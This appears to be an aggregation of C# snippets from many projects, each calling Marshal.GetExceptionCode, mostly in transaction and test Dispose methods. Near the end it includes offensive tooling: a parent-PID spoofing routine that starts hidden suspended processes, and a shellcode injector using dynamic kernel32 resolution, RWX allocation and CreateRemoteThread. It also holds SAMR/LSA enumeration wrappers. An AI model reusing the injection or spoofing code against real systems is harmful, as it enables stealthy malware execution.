/// <summary> /// this will write the audit log if the code did not throw an exception /// </summary> /// <remarks> /// https://stackoverflow.com/questions/149609/c-sharp-using-syntax /// https://ayende.com/blog/2577/did-you-know-find-out-if-an-exception-was-thrown-from-a-finally-block /// </remarks> public async ValueTask DisposeAsync() { if (Marshal.GetExceptionCode() == 0) { await WriteLog(); } else { _logger.LogDebug("code had an exception, will not write the audit entry"); } }
/// <summary> /// Will run VerifyAll on all Moq-parameters /// </summary> public void Dispose() { var exceptionOccurred = Marshal.GetExceptionPointers() != IntPtr.Zero || Marshal.GetExceptionCode() != 0; if (exceptionOccurred) { return; } VerifyAllInstances(); }
public void Dispose() { if (Marshal.GetExceptionCode() == 0) { Console.WriteLine("Completed Successfully!"); } else { Console.WriteLine("Exception!"); } }
private static Exception GetCurrentException() { #pragma warning disable CS0618 // Type or member is obsolete if (Marshal.GetExceptionCode() != 0) { return(Marshal.GetExceptionForHR(Marshal.GetExceptionCode())); } return(null); #pragma warning restore CS0618 // Type or member is obsolete }
private static bool HasException() { try { return(Marshal.GetExceptionCode() != 0); } catch (System.Exception) { return(false); } }
/// <inheritdoc /> public void Dispose() { // This ensures we only check the mock queue on dispose when we're not in the middle of an // exception flow. Otherwise, any early assertion will cause this to likely fail // even though it's not the root cause. #pragma warning disable CS0618 // Type or member is obsolete - this is non-production code so it's fine if (Marshal.GetExceptionCode() == 0) #pragma warning restore CS0618 // Type or member is obsolete { Assert.AreEqual(0, _httpMessageHandlerQueue.Count, "All mocks should have been consumed"); } }
public Int32 RpcOpenPrinter(string pPrinterName, out IntPtr pHandle, string pDatatype, ref DEVMODE_CONTAINER pDevModeContainer, Int32 AccessRequired) { IntPtr result = IntPtr.Zero; IntPtr intptrPrinterName = Marshal.StringToHGlobalUni(pPrinterName); IntPtr intptrDatatype = Marshal.StringToHGlobalUni(pDatatype); pHandle = IntPtr.Zero; try { if (IntPtr.Size == 8) { result = NativeMethods.NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(36), pPrinterName, out pHandle, pDatatype, ref pDevModeContainer, AccessRequired); } else { IntPtr tempValue = IntPtr.Zero; GCHandle handle = GCHandle.Alloc(tempValue, GCHandleType.Pinned); IntPtr tempValuePointer = handle.AddrOfPinnedObject(); GCHandle handleDevModeContainer = GCHandle.Alloc(pDevModeContainer, GCHandleType.Pinned); IntPtr tempValueDevModeContainer = handleDevModeContainer.AddrOfPinnedObject(); try { result = CallNdrClientCall2x86(34, intptrPrinterName, tempValuePointer, intptrDatatype, tempValueDevModeContainer, new IntPtr(AccessRequired)); // each pinvoke work on a copy of the arguments (without an out specifier) // get back the data pHandle = Marshal.ReadIntPtr(tempValuePointer); } finally { handle.Free(); handleDevModeContainer.Free(); } } } catch (SEHException) { Trace.WriteLine("RpcOpenPrinter failed 0x" + Marshal.GetExceptionCode().ToString("x")); return(Marshal.GetExceptionCode()); } finally { if (intptrPrinterName != IntPtr.Zero) { Marshal.FreeHGlobal(intptrPrinterName); } if (intptrDatatype != IntPtr.Zero) { Marshal.FreeHGlobal(intptrDatatype); } } return((int)result.ToInt64()); }
public void NativeExceptionFromUnknown() { try { ExceptionHelper.RaiseUnknownException(); } catch (SEHException) { var info = ExceptionHelper.GetNativeExceptionInfo(Marshal.GetExceptionCode(), Marshal.GetExceptionPointers()); Assert.IsNull(info); } }
private static bool HasException() { try { #pragma warning disable CS0618 // 类型或成员已过时 return(Marshal.GetExceptionCode() != 0); #pragma warning restore CS0618 // 类型或成员已过时 } catch (Exception) { return(false); } }
public void Dispose() { bool isInException = Marshal.GetExceptionPointers() != IntPtr.Zero || Marshal.GetExceptionCode() != 0; if (isInException) { _dbContext.Rollback(); } else { _dbContext.Commit(); } }
void IDisposable.Dispose() { using (transaction) { if (Marshal.GetExceptionCode() == 0) { transaction.Commit(); } else { transaction.RollBack(); } } }
public Int32 SamrEnumerateUsersInDomain(IntPtr DomainHandle, ref IntPtr EnumerationContext, Int32 UserAccountControl, out SAMR_ENUMERATION_ENTRY[] Buffer, Int32 PreferedMaximumLength, out UInt32 CountReturned) { IntPtr result = IntPtr.Zero; CountReturned = 0; try { IntPtr IntptrBuffer = IntPtr.Zero; if (IntPtr.Size == 8) { result = NativeMethods.NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(526), DomainHandle, ref EnumerationContext, UserAccountControl, out IntptrBuffer, PreferedMaximumLength, ref CountReturned); } else { IntPtr tempValue1 = EnumerationContext; GCHandle handle1 = GCHandle.Alloc(tempValue1, GCHandleType.Pinned); IntPtr tempValuePointer1 = handle1.AddrOfPinnedObject(); IntPtr tempValue2 = IntPtr.Zero; GCHandle handle2 = GCHandle.Alloc(tempValue2, GCHandleType.Pinned); IntPtr tempValuePointer2 = handle2.AddrOfPinnedObject(); IntPtr tempValue3 = IntPtr.Zero; GCHandle handle3 = GCHandle.Alloc(tempValue3, GCHandleType.Pinned); IntPtr tempValuePointer3 = handle3.AddrOfPinnedObject(); try { result = CallNdrClientCall2x86(500, DomainHandle, tempValuePointer1, new IntPtr(UserAccountControl), tempValuePointer2, new IntPtr(PreferedMaximumLength), tempValuePointer3); // each pinvoke work on a copy of the arguments (without an out specifier) // get back the data EnumerationContext = Marshal.ReadIntPtr(tempValuePointer1); IntptrBuffer = Marshal.ReadIntPtr(tempValuePointer2); CountReturned = (UInt32)Marshal.ReadInt32(tempValuePointer3); } finally { handle1.Free(); handle2.Free(); handle3.Free(); } } Buffer = Unmarshal_SAMR_ENUMRATION(IntptrBuffer); } catch (SEHException) { Buffer = null; Trace.WriteLine("SamrEnumerateUsersInDomain failed 0x" + Marshal.GetExceptionCode().ToString("x")); return(Marshal.GetExceptionCode()); } return((int)result.ToInt64()); }
public Int32 LsarOpenPolicy(string SystemName, UInt32 DesiredAccess, out IntPtr PolicyHandle) { IntPtr intptrSystemName = Marshal.StringToHGlobalUni(SystemName); LSAPR_OBJECT_ATTRIBUTES objectAttributes = new LSAPR_OBJECT_ATTRIBUTES(); PolicyHandle = IntPtr.Zero; IntPtr result = IntPtr.Zero; try { PolicyHandle = IntPtr.Zero; if (IntPtr.Size == 8) { result = NativeMethods.NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(194), intptrSystemName, ref objectAttributes, DesiredAccess, out PolicyHandle); } else { IntPtr tempValue1 = new IntPtr(); GCHandle handle1 = GCHandle.Alloc(tempValue1, GCHandleType.Pinned); IntPtr tempValuePointer1 = handle1.AddrOfPinnedObject(); GCHandle handle2 = GCHandle.Alloc(objectAttributes, GCHandleType.Pinned); IntPtr tempValuePointer2 = handle2.AddrOfPinnedObject(); try { result = CallNdrClientCall2x86(182, intptrSystemName, tempValuePointer2, new IntPtr((int)DesiredAccess), tempValuePointer1); // each pinvoke work on a copy of the arguments (without an out specifier) // get back the data PolicyHandle = Marshal.ReadIntPtr(tempValuePointer1); } finally { handle1.Free(); handle2.Free(); } } } catch (SEHException) { Trace.WriteLine("LsarOpenPolicy failed 0x" + Marshal.GetExceptionCode().ToString("x")); return(Marshal.GetExceptionCode()); } finally { if (intptrSystemName != IntPtr.Zero) { Marshal.FreeHGlobal(intptrSystemName); } } return((int)result.ToInt64()); }
/// <summary> /// See base /// </summary> public void Dispose() { if (!isTransactionHandled) { if (Marshal.GetExceptionPointers() != IntPtr.Zero || Marshal.GetExceptionCode() != 0) { Rollback(); } else { Commit(); } } }
public void Dispose() { bool isInException = Marshal.GetExceptionPointers() != IntPtr.Zero || Marshal.GetExceptionCode() != 0; if (isInException) { this.ContenedorObjetos.Rollback(); } else { this.ContenedorObjetos.Commit(); } this.ContenedorObjetos.Close(); }
/// <summary> /// Will run VerifyAll on all Moq-parameters /// </summary> public void Dispose() { var exceptionOccurred = Marshal.GetExceptionPointers() != IntPtr.Zero || Marshal.GetExceptionCode() != 0; if (exceptionOccurred) { return; } foreach (var parameter in _moqInstancesParameters) { var method = parameter.GetType().GetMethod("VerifyAll"); method.Invoke(parameter, null); } }
public void NativeExceptionFromStl() { try { ExceptionHelper.RaiseStlException(); } catch (SEHException) { var info = ExceptionHelper.GetNativeExceptionInfo(Marshal.GetExceptionCode(), Marshal.GetExceptionPointers()); Assert.IsNotNull(info); Assert.AreEqual(ExceptionInfo.ExceptionSource.STL, info.Source); Assert.AreEqual("This is a STL exception of type std::exception.", info.Message); } }
public void NativeExceptionFromOcct() { try { ExceptionHelper.RaiseOcctException(); } catch (SEHException) { var info = ExceptionHelper.GetNativeExceptionInfo(Marshal.GetExceptionCode(), Marshal.GetExceptionPointers()); Assert.IsNotNull(info); Assert.AreEqual(ExceptionInfo.ExceptionSource.OCCT, info.Source); Assert.AreEqual("This is a OCCT exception of type Standard_Failure.", info.Message); } }
private void Dispose(bool isDisposing) { try { if (ExtendedLifeTime) { return; } if (isDisposing) { var errorCode = Marshal.GetExceptionCode(); if (errorCode != 0) { Exception exception = null; try { exception = Marshal.GetExceptionForHR(errorCode); } catch (Exception) { } SetErrorState(exception); } } if (Handler.IsInstance()) { if (ParentItem.IsNull()) { Handler.Dispose(); } else { Handler.CurrentTracer = ParentTracer; } } timer.Stop(); IsDisposed = true; SetTimings(); if (ReleaseHandle.IsInstance()) { ReleaseHandle.Set(); } } catch { } }
public PROCESS_INFORMATION ParentSpoofing(int parentID, string childPath) { var pInfo = new PROCESS_INFORMATION(); var siEx = new STARTUPINFOEX(); IntPtr lpValueProc = IntPtr.Zero; IntPtr hSourceProcessHandle = IntPtr.Zero; var lpSize = IntPtr.Zero; InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize); IntPtr parentHandle = OpenProcess((uint)ProcessAccessRights.CreateProcess | (uint)ProcessAccessRights.DuplicateHandle, false, (uint)parentID); PrintInfo($"[!] Handle {parentHandle} opened for parent process id."); lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValueProc, parentHandle); UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); PrintInfo($"[!] Adding attributes to a list."); siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; siEx.StartupInfo.wShowWindow = SW_HIDE; var ps = new SECURITY_ATTRIBUTES(); var ts = new SECURITY_ATTRIBUTES(); ps.nLength = Marshal.SizeOf(ps); ts.nLength = Marshal.SizeOf(ts); try { bool ProcCreate = CreateProcess(childPath, null, ref ps, ref ts, true, CreateSuspended | EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo); if (!ProcCreate) { PrintError($"[-] Proccess failed to execute!"); } PrintInfo($"[!] New process with ID: {pInfo.dwProcessId} created in a suspended state under the defined parent process."); } catch (Exception ex) { PrintError("[-] " + Marshal.GetExceptionCode()); PrintError(ex.Message); } return(pInfo); }
public void GerarProcessamento(LoteDTO lote) { try { using (Conexao = RedeUtil.RecuperarConexaoRede(CaminhoDiretorio, Usuario)) { CriarEstruturaDiretorios(lote.AnoExercicio); MigrarArquivosUpload(lote); if (!lote.Individual) { lote.ContribuintesArquivoTxt = LerDirfTxt(lote); } SplitLote(lote); } } catch (NegocioException e) { foreach (var arquivo in lote.ArquivosImportados) { File.Delete(arquivo.CaminhoArquivo); } Conexao.Dispose(); throw new NegocioException(e.Message, e.InnerException); } catch (Exception e) { Conexao.Dispose(); lote.TipoSituacao = TipoSituacao.Erro; lote.CodigoErro = Marshal.GetExceptionCode(); lote.MensagemErro = e.Message; if (Contribuinte != null) { Contribuinte.TipoSituacao = TipoSituacao.Erro; Contribuinte.Status = StatusContribuinte.FalhaArquivo; } _gir.GravarRotina(lote); throw new Exception(e.Message, e.InnerException); } }
private static Exception GetCurrentException() { #pragma warning disable CS0618 // Type or member is obsolete if (PlatformHelper.IsRunningOnMono()) { // Mono doesn't implement Marshal.GetExceptionCode() (https://github.com/mono/mono/blob/master/mcs/class/corlib/System.Runtime.InteropServices/Marshal.cs#L521) return(null); } if (Marshal.GetExceptionCode() != 0) { return(Marshal.GetExceptionForHR(Marshal.GetExceptionCode())); } return(null); #pragma warning restore CS0618 // Type or member is obsolete }
/// <summary> /// Releases all resoucres used by the transaction and commits or rolls /// back the transaction depending on whether or not an exception /// occured. /// </summary> /// <param name="disposing">\c true to release both managed and /// unmanaged resources; \c false to release only managed resources. /// </param> protected virtual void Dispose(bool disposing) { if (disposing) // commit or rollback { // detect if disposing is within an exception if (Marshal.GetExceptionPointers() != IntPtr.Zero || Marshal.GetExceptionCode() != 0) // is in exception { rollback(); } else { commit(); } } }
internal static bool ExceptionWasThrownAndDisposableActionShouldNotBeCalled() { //If we're running under Mono, then we don't want to call Marshall.GetExceptionCode as it // currently is not implemented Type t = Type.GetType("Mono.Runtime"); if (t == null) { // Probably running the .NET Framework if (Marshal.GetExceptionCode() != 0) { return(true); } } return(false); }
protected override sealed void FreeManagedResources() { #if !__MOBILE__ && !NETSTANDARD var inException = Marshal.GetExceptionPointers() != IntPtr.Zero || Marshal.GetExceptionCode() != 0; #else var inException = false; #endif // Remove from registry if (IsRootScope) { CallContext.LogicalSetData(_contextName, null); } // Notify end OnScopeEnd(RootScope, inException); }
public void GetExceptionCode_ComExceptionInsideCatch_ReturnsExpected(int errorCode) { try { throw new COMException("message", errorCode); } catch { int exceptionCode = Marshal.GetExceptionCode(); Assert.NotEqual(0, Marshal.GetExceptionCode()); Assert.NotEqual(errorCode, exceptionCode); Assert.Equal(exceptionCode, Marshal.GetExceptionCode()); } Assert.Equal(0, Marshal.GetExceptionCode()); }
void IDisposable.Dispose() { // https://stackoverflow.com/questions/2830073/ if ( #if NETFRAMEWORK || NETCOREAPP3_1_OR_GREATER // API not exposed till netcoreapp3.0 // https://github.com/dotnet/corefx/pull/31169 Marshal.GetExceptionPointers() != IntPtr.Zero || #endif #pragma warning disable CS0618 // GetExceptionCode obsolete Marshal.GetExceptionCode() != 0) #pragma warning restore CS0618 { _dataConnection.DisposeCommand(); } }
public void GetExceptionCode_NormalExceptionInsideCatch_ReturnsExpected(int hresult) { try { throw new HResultException(hresult); } catch { int exceptionCode = Marshal.GetExceptionCode(); Assert.NotEqual(0, Marshal.GetExceptionCode()); Assert.NotEqual(hresult, exceptionCode); Assert.Equal(exceptionCode, Marshal.GetExceptionCode()); } Assert.Equal(0, Marshal.GetExceptionCode()); }
void IDisposable.Dispose() { // https://stackoverflow.com/questions/2830073/ if ( #if NET45 || NET46 // API not exposed till netcoreapp3.0 // https://github.com/dotnet/corefx/pull/31169 Marshal.GetExceptionPointers() != IntPtr.Zero || #endif #pragma warning disable CS0618 // GetExceptionCode obsolete Marshal.GetExceptionCode() != 0) #pragma warning restore CS0618 { _action(); } }
public static void DynamicCodeInject(int pid, byte[] buf) { uint lpNumberOfBytesWritten = 0; uint lpThreadId = 0; var pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "CloseHandle"); var closehandle = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.CloseHandle)) as DynamicInvoke.CloseHandle; try { pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "OpenProcess"); var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.OpenProcess)) as DynamicInvoke.OpenProcess; Console.WriteLine($"[+] Obtaining the handle for the process id {pid}."); IntPtr pHandle = openProcess((uint)ProcessAccessRights.All, false, (uint)pid); pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.VirtualAllocEx)) as DynamicInvoke.VirtualAllocEx; Console.WriteLine($"[+] Handle {pHandle} opened for the process id {pid}."); Console.WriteLine($"[+] Allocating memory to inject the shellcode."); IntPtr rMemAddress = virtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE); pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.WriteProcessMemory)) as DynamicInvoke.WriteProcessMemory; Console.WriteLine($"[+] Memory for injecting shellcode allocated at 0x{rMemAddress}."); Console.WriteLine($"[+] Writing the shellcode at the allocated memory location."); if (writeProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten)) { Console.WriteLine($"[+] Shellcode written in the process memory."); Console.WriteLine($"[+] Creating remote thread to execute the shellcode."); pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "CreateRemoteThread"); var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.CreateRemoteThread)) as DynamicInvoke.CreateRemoteThread; IntPtr hRemoteThread = createRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref lpThreadId); Console.WriteLine($"[+] Sucessfully injected the shellcode into the memory of the process id {pid}."); closehandle(hRemoteThread); } else { Console.WriteLine($"[+] Failed to write the shellcode into the memory of the process id {pid}."); } closehandle(pHandle); } catch (Exception ex) { Console.WriteLine("[+] " + Marshal.GetExceptionCode()); Console.WriteLine(ex.Message); } }